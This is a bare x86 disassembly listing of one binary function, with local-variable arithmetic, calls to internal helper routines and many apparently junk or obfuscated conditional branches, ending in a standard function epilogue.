jmp 0x100458e1
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jge 0x100458fd
mov eax, dword [ebp - 0xe0]
mov dword [ebp + eax*4 - 0x5b8], 0x5c48
jmp 0x100458d4
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
mov esi, eax
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x1004592b
mov dword [ebp - 0x64c], 1
jmp 0x10045932
and dword [ebp - 0x64c], 0
push 0
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 0
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 0
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
cmp dword [eax], 0xffff
jae 0x10045987
mov dword [ebp - 0x4dc], 1
jmp 0x1004598e
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x654], eax
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
cmp dword [eax], 0
je 0x100459bd
xor eax, eax
inc eax
je 0x100459bd
mov dword [ebp - 0x434], 1
jmp 0x100459c4
and dword [ebp - 0x434], 0
mov esi, dword [ebp - 0x434]
sub esi, 0x1bd43d9c
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10015a6e
cmp esi, dword [eax]
je 0x100459ee
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x5b8], 0
push 0
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x5b8]
cmp dword [eax], ecx
jge 0x10045a26
push 0
lea ecx, [ebp - 0x5d0]
call fcn.10015a6e
cmp dword [eax], 0
jne 0x10045a26
and dword [ebp - 0x590], 0
jmp 0x10045a30
mov dword [ebp - 0x590], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x590]
sub ecx, dword [ebp + eax - 0x5b8]
cmp ecx, 0xd82c
jl 0x10045a57
mov dword [ebp - 0x6d0], 1
jmp 0x10045a5e
and dword [ebp - 0x6d0], 0
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 3
lea ecx, [ebp - 0x5d0]
call fcn.10015a6e
push 0
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10015a6e
mov eax, 0xfa2
test eax, eax
je 0x10045ab0
mov eax, 0xab8a
test eax, eax
je 0x10045ab0
mov dword [ebp - 0x43c], 1
jmp 0x10045ab7
and dword [ebp - 0x43c], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0x5b8]
imul esi, dword [ebp - 0x43c]
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10015a6e
add esi, dword [eax]
jne 0x10045ae8
xor eax, eax
jne 0x10045ae8
and dword [ebp - 0x4e4], 0
jmp 0x10045af2
mov dword [ebp - 0x4e4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5b8]
cmp dword [ebp - 0x4e4], eax
jl 0x10045b13
mov dword [ebp - 0x538], 1
jmp 0x10045b1a
and dword [ebp - 0x538], 0
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
mov eax, dword [eax]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
imul eax, dword [ebp - 0x538]
test eax, eax
jne 0x10045b5b
push 1
lea ecx, [ebp - 0x11c]
call fcn.10015a6e
cmp dword [eax], 0
jne 0x10045b5b
and dword [ebp - 0x44c], 0
jmp 0x10045b65
mov dword [ebp - 0x44c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5b8]
cmp dword [ebp - 0x44c], eax
jle 0x10045b86
mov dword [ebp - 0x630], 1
jmp 0x10045b8d
and dword [ebp - 0x630], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5b8]
mov dword [ebp - 0x7fc], eax
mov dword [ebp - 0x698], 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x5d0]
call fcn.10015a52
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11c]
call fcn.10015a52
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x100]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x70], 0x897a4a12
mov dword [ebp - 0x17c], 0
jmp 0x10045bf9
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x5f8]
and dword [eax], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret